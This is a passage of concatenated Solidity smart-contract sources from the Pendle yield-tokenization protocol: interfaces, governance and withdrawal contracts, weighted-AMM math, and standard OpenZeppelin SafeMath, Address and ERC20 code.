function liqMiningEmergencyHandler()
external
view
returns (
address handler,
address pendingHandler,
uint256 timelockDeadline
);
function permLocked() external view returns (bool);
function permForgeHandlerLocked() external view returns (bool);
function permMarketHandlerLocked() external view returns (bool);
function permLiqMiningHandlerLocked() external view returns (bool);
function isPausingAdmin(address) external view returns (bool);
function setPausingAdmin(address admin, bool isAdmin) external;
function requestForgeHandlerChange(address _pendingForgeHandler) external;
function requestMarketHandlerChange(address _pendingMarketHandler) external;
function requestLiqMiningHandlerChange(address _pendingLiqMiningHandler) external;
function applyForgeHandlerChange() external;
function applyMarketHandlerChange() external;
function applyLiqMiningHandlerChange() external;
function lockPausingManagerPermanently() external;
function lockForgeHandlerPermanently() external;
function lockMarketHandlerPermanently() external;
function lockLiqMiningHandlerPermanently() external;
function setForgePaused(bytes32 forgeId, bool paused) external;
function setForgeAssetPaused(
bytes32 forgeId,
address underlyingAsset,
bool paused
) external;
function setForgeAssetExpiryPaused(
bytes32 forgeId,
address underlyingAsset,
uint256 expiry,
bool paused
) external;
function setForgeLocked(bytes32 forgeId) external;
function setForgeAssetLocked(bytes32 forgeId, address underlyingAsset) external;
function setForgeAssetExpiryLocked(
bytes32 forgeId,
address underlyingAsset,
uint256 expiry
) external;
function checkYieldContractStatus(
bytes32 forgeId,
address underlyingAsset,
uint256 expiry
) external returns (bool _paused, bool _locked);
function setMarketFactoryPaused(bytes32 marketFactoryId, bool paused) external;
function setMarketPaused(
bytes32 marketFactoryId,
address market,
bool paused
) external;
function setMarketFactoryLocked(bytes32 marketFactoryId) external;
function setMarketLocked(bytes32 marketFactoryId, address market) external;
function checkMarketStatus(bytes32 marketFactoryId, address market)
external
returns (bool _paused, bool _locked);
function setLiqMiningPaused(address liqMiningContract, bool settingToPaused) external;
function setLiqMiningLocked(address liqMiningContract) external;
function checkLiqMiningStatus(address liqMiningContract)
external
returns (bool _paused, bool _locked);
}
// SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.7.6;
pragma abicoder v2;
import "./IPendleRouter.sol";
import "./IPendleBaseToken.sol";
import "../libraries/PendleStructs.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IPendleMarket is IERC20 {
/**
* @notice Emitted when reserves pool has been updated
* @param reserve0 The XYT reserves.
* @param weight0 The XYT weight
* @param reserve1 The generic token reserves.
* For the generic Token weight it can be inferred by (2^40) - weight0
**/
event Sync(uint256 reserve0, uint256 weight0, uint256 reserve1);
function setUpEmergencyMode(address spender) external;
function bootstrap(
address user,
uint256 initialXytLiquidity,
uint256 initialTokenLiquidity
) external returns (PendingTransfer[2] memory transfers, uint256 exactOutLp);
function addMarketLiquiditySingle(
address user,
address inToken,
uint256 inAmount,
uint256 minOutLp
) external returns (PendingTransfer[2] memory transfers, uint256 exactOutLp);
function addMarketLiquidityDual(
address user,
uint256 _desiredXytAmount,
uint256 _desiredTokenAmount,
uint256 _xytMinAmount,
uint256 _tokenMinAmount
) external returns (PendingTransfer[2] memory transfers, uint256 lpOut);
function removeMarketLiquidityDual(
address user,
uint256 inLp,
uint256 minOutXyt,
uint256 minOutToken
) external returns (PendingTransfer[2] memory transfers);
function removeMarketLiquiditySingle(
address user,
address outToken,
uint256 exactInLp,
uint256 minOutToken
) external returns (PendingTransfer[2] memory transfers);
function swapExactIn(
address inToken,
uint256 inAmount,
address outToken,
uint256 minOutAmount
) external returns (uint256 outAmount, PendingTransfer[2] memory transfers);
function swapExactOut(
address inToken,
uint256 maxInAmount,
address outToken,
uint256 outAmount
) external returns (uint256 inAmount, PendingTransfer[2] memory transfers);
function redeemLpInterests(address user) external returns (uint256 interests);
function getReserves()
external
view
returns (
uint256 xytBalance,
uint256 xytWeight,
uint256 tokenBalance,
uint256 tokenWeight,
uint256 currentBlock
);
function factoryId() external view returns (bytes32);
function token() external view returns (address);
function xyt() external view returns (address);
}
// SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IPendleBaseToken is IERC20 {
/**
* @notice Decreases the allowance granted to spender by the caller.
* @param spender The address to reduce the allowance from.
* @param subtractedValue The amount allowance to subtract.
* @return Returns true if allowance has decreased, otherwise false.
**/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
/**
* @notice The yield contract start in epoch time.
* @return Returns the yield start date.
**/
function start() external view returns (uint256);
/**
* @notice The yield contract expiry in epoch time.
* @return Returns the yield expiry date.
**/
function expiry() external view returns (uint256);
/**
* @notice Increases the allowance granted to spender by the caller.
* @param spender The address to increase the allowance from.
* @param addedValue The amount allowance to add.
* @return Returns true if allowance has increased, otherwise false
**/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
/**
* @notice Returns the number of decimals the token uses.
* @return Returns the token's decimals.
**/
function decimals() external view returns (uint8);
/**
* @notice Returns the name of the token.
* @return Returns the token's name.
**/
function name() external view returns (string memory);
/**
* @notice Returns the symbol of the token.
* @return Returns the token's symbol.
**/
function symbol() external view returns (string memory);
/**
* @notice approve using the owner's signature
**/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./PermissionsV2.sol";
abstract contract WithdrawableV2 is PermissionsV2 {
using SafeERC20 for IERC20;
event EtherWithdraw(uint256 amount, address sendTo);
event TokenWithdraw(IERC20 token, uint256 amount, address sendTo);
/**
* @dev Allows governance to withdraw Ether in a Pendle contract
* in case of accidental ETH transfer into the contract.
* @param amount The amount of Ether to withdraw.
* @param sendTo The recipient address.
*/
function withdrawEther(uint256 amount, address payable sendTo) external onlyGovernance {
(bool success, ) = sendTo.call{value: amount}("");
require(success, "WITHDRAW_FAILED");
emit EtherWithdraw(amount, sendTo);
}
/**
* @dev Allows governance to withdraw all IERC20 compatible tokens in a Pendle
* contract in case of accidental token transfer into the contract.
* @param token IERC20 The address of the token contract.
* @param amount The amount of IERC20 tokens to withdraw.
* @param sendTo The recipient address.
*/
function withdrawToken(
IERC20 token,
uint256 amount,
address sendTo
) external onlyGovernance {
require(_allowedToWithdraw(address(token)), "TOKEN_NOT_ALLOWED");
token.safeTransfer(sendTo, amount);
emit TokenWithdraw(token, amount, sendTo);
}
// must be overridden by the sub contracts, so we must consider explicitly
// in each and every contract which tokens are allowed to be withdrawn
function _allowedToWithdraw(address) internal view virtual returns (bool allowed);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
import "../interfaces/IPendleBaseToken.sol";
import "../interfaces/IPendleRouter.sol";
/**
* @title PendleBaseToken
* @dev The contract implements the standard ERC20 functions, plus some
* Pendle specific fields and functions, namely:
* - expiry
*
* This abstract contract is inherited by PendleFutureYieldToken
* and PendleOwnershipToken contracts.
**/
abstract contract PendleBaseToken is ERC20 {
using SafeMath for uint256;
uint256 public immutable start;
uint256 public immutable expiry;
IPendleRouter public immutable router;
//// Start of EIP-2612 related part, exactly the same as UniswapV2ERC20.sol
bytes32 public immutable DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH =
0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) public nonces;
//// End of EIP-2612 related part
constructor(
address _router,
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _start,
uint256 _expiry
) ERC20(_name, _symbol) {
_setupDecimals(_decimals);
start = _start;
expiry = _expiry;
router = IPendleRouter(_router);
//// Start of EIP-2612 related part, exactly the same as UniswapV2ERC20.sol, except for the noted parts below
uint256 chainId;
assembly {
chainId := chainid() // chainid() is a function in assembly in this solidity version
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes(_name)), // use our own _name here
keccak256(bytes("1")),
chainId,
address(this)
)
);
//// End of EIP-2612 related part
}
//// Start of EIP-2612 related part, exactly the same as UniswapV2ERC20.sol
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(deadline >= block.timestamp, "PERMIT_EXPIRED");
bytes32 digest =
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
);
address recoveredAddress = ECDSA.recover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNATURE");
_approve(owner, spender, value);
}
//// End of EIP-2612 related part
function _beforeTokenTransfer(
address from,
address to,
uint256
) internal virtual override {
require(to != address(this), "SEND_TO_TOKEN_CONTRACT");
require(to != from, "SEND_TO_SELF");
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./MathLib.sol";
import "./PendleStructs.sol";
library MarketMath {
using SafeMath for uint256;
/**
* @notice calculate the exact amount of tokens that user need to put in the market
* in order to get back certain amount of the other token
* @param inTokenReserve market reserve details of token that user wants to put in
* @param outTokenReserve market reserve details of token that user wants to get back
* @param exactOut exact amount of token that user wants to get back
* @param swapFee swap fee ratio for swap
* @dev The formula for this function can be referred in the AMM Specs
*/
function _calcExactIn(
TokenReserve memory inTokenReserve,
TokenReserve memory outTokenReserve,
uint256 exactOut,
uint256 swapFee
) internal pure returns (uint256 exactIn) {
uint256 weightRatio = Math.rdiv(outTokenReserve.weight, inTokenReserve.weight);
uint256 diff = outTokenReserve.balance.sub(exactOut);
uint256 y = Math.rdiv(outTokenReserve.balance, diff);
uint256 foo = Math.rpow(y, weightRatio);
foo = foo.sub(Math.RONE);
exactIn = Math.RONE.sub(swapFee);
exactIn = Math.rdiv(Math.rmul(inTokenReserve.balance, foo), exactIn);
}
/**
* @notice calculate the exact amount of tokens that user can get back from the market
* if user put in certain amount of the other token
* @param inTokenReserve market reserve details of token that user wants to put in
* @param outTokenReserve market reserve details of token that user wants to get back
* @param exactIn exact amount of token that user wants to put in
* @param swapFee swap fee (percentage) for swap
* @dev The formula for this function can be referred in the AMM Specs
*/
function _calcExactOut(
TokenReserve memory inTokenReserve,
TokenReserve memory outTokenReserve,
uint256 exactIn,
uint256 swapFee
) internal pure returns (uint256 exactOut) {
uint256 weightRatio = Math.rdiv(inTokenReserve.weight, outTokenReserve.weight);
uint256 adjustedIn = Math.RONE.sub(swapFee);
adjustedIn = Math.rmul(exactIn, adjustedIn);
uint256 y = Math.rdiv(inTokenReserve.balance, inTokenReserve.balance.add(adjustedIn));
uint256 foo = Math.rpow(y, weightRatio);
uint256 bar = Math.RONE.sub(foo);
exactOut = Math.rmul(outTokenReserve.balance, bar);
}
/**
* @notice to calculate exact amount of lp token to be minted if single token liquidity is added to market
* @param inAmount exact amount of the token that user wants to put in
* @param inTokenReserve market reserve details of the token that user wants to put in
* @param swapFee swap fee (percentage) for swap
* @param totalSupplyLp current (before adding liquidity) lp supply
* @dev swap fee applies here since add liquidity by single token is equivalent of a swap
* @dev used when add liquidity by single token
* @dev The formula for this function can be referred in the AMM Specs
*/
function _calcOutAmountLp(
uint256 inAmount,
TokenReserve memory inTokenReserve,
uint256 swapFee,
uint256 totalSupplyLp
) internal pure returns (uint256 exactOutLp) {
uint256 nWeight = inTokenReserve.weight;
uint256 feePortion = Math.rmul(Math.RONE.sub(nWeight), swapFee);
uint256 inAmountAfterFee = Math.rmul(inAmount, Math.RONE.sub(feePortion));
uint256 inBalanceUpdated = inTokenReserve.balance.add(inAmountAfterFee);
uint256 inTokenRatio = Math.rdiv(inBalanceUpdated, inTokenReserve.balance);
uint256 lpTokenRatio = Math.rpow(inTokenRatio, nWeight);
uint256 totalSupplyLpUpdated = Math.rmul(lpTokenRatio, totalSupplyLp);
exactOutLp = totalSupplyLpUpdated.sub(totalSupplyLp);
return exactOutLp;
}
/**
* @notice to calculate exact amount of token that user can get back if
* single token liquidity is removed from market
* @param outTokenReserve market reserve details of the token that user wants to get back
* @param totalSupplyLp current (before adding liquidity) lp supply
* @param inLp exact amount of the lp token (single liquidity to remove) that user wants to put in
* @param swapFee swap fee (percentage) for swap
* @dev swap fee applies here since add liquidity by single token is equivalent of a swap
* @dev used when remove liquidity by single token
* @dev The formula for this function can be referred in the AMM Specs
*/
function _calcOutAmountToken(
TokenReserve memory outTokenReserve,
uint256 totalSupplyLp,
uint256 inLp,
uint256 swapFee
) internal pure returns (uint256 exactOutToken) {
uint256 nWeight = outTokenReserve.weight;
uint256 totalSupplyLpUpdated = totalSupplyLp.sub(inLp);
uint256 lpRatio = Math.rdiv(totalSupplyLpUpdated, totalSupplyLp);
uint256 outTokenRatio = Math.rpow(lpRatio, Math.rdiv(Math.RONE, nWeight));
uint256 outTokenBalanceUpdated = Math.rmul(outTokenRatio, outTokenReserve.balance);
uint256 outAmountTokenBeforeSwapFee = outTokenReserve.balance.sub(outTokenBalanceUpdated);
uint256 feePortion = Math.rmul(Math.RONE.sub(nWeight), swapFee);
exactOutToken = Math.rmul(outAmountTokenBeforeSwapFee, Math.RONE.sub(feePortion));
return exactOutToken;
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../core/PendleGovernanceManager.sol";
import "../interfaces/IPermissionsV2.sol";
abstract contract PermissionsV2 is IPermissionsV2 {
PendleGovernanceManager public immutable override governanceManager;
address internal initializer;
constructor(address _governanceManager) {
require(_governanceManager != address(0), "ZERO_ADDRESS");
initializer = msg.sender;
governanceManager = PendleGovernanceManager(_governanceManager);
}
modifier initialized() {
require(initializer == address(0), "NOT_INITIALIZED");
_;
}
modifier onlyGovernance() {
require(msg.sender == _governance(), "ONLY_GOVERNANCE");
_;
}
function _governance() internal view returns (address) {
return governanceManager.governance();
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
contract PendleGovernanceManager {
address public governance;
address public pendingGovernance;
event GovernanceClaimed(address newGovernance, address previousGovernance);
event TransferGovernancePending(address pendingGovernance);
constructor(address _governance) {
require(_governance != address(0), "ZERO_ADDRESS");
governance = _governance;
}
modifier onlyGovernance() {
require(msg.sender == governance, "ONLY_GOVERNANCE");
_;
}
/**
* @dev Allows the pendingGovernance address to finalize the change governance process.
*/
function claimGovernance() external {
require(pendingGovernance == msg.sender, "WRONG_GOVERNANCE");
emit GovernanceClaimed(pendingGovernance, governance);
governance = pendingGovernance;
pendingGovernance = address(0);
}
/**
* @dev Allows the current governance to set the pendingGovernance address.
* @param _governance The address to transfer ownership to.
*/
function transferGovernance(address _governance) external onlyGovernance {
require(_governance != address(0), "ZERO_ADDRESS");
pendingGovernance = _governance;
emit TransferGovernancePending(pendingGovernance);
}
}
// SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.7.6;
pragma abicoder v2;
import "../core/PendleGovernanceManager.sol";
interface IPermissionsV2 {
function governanceManager() external returns (PendleGovernanceManager);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
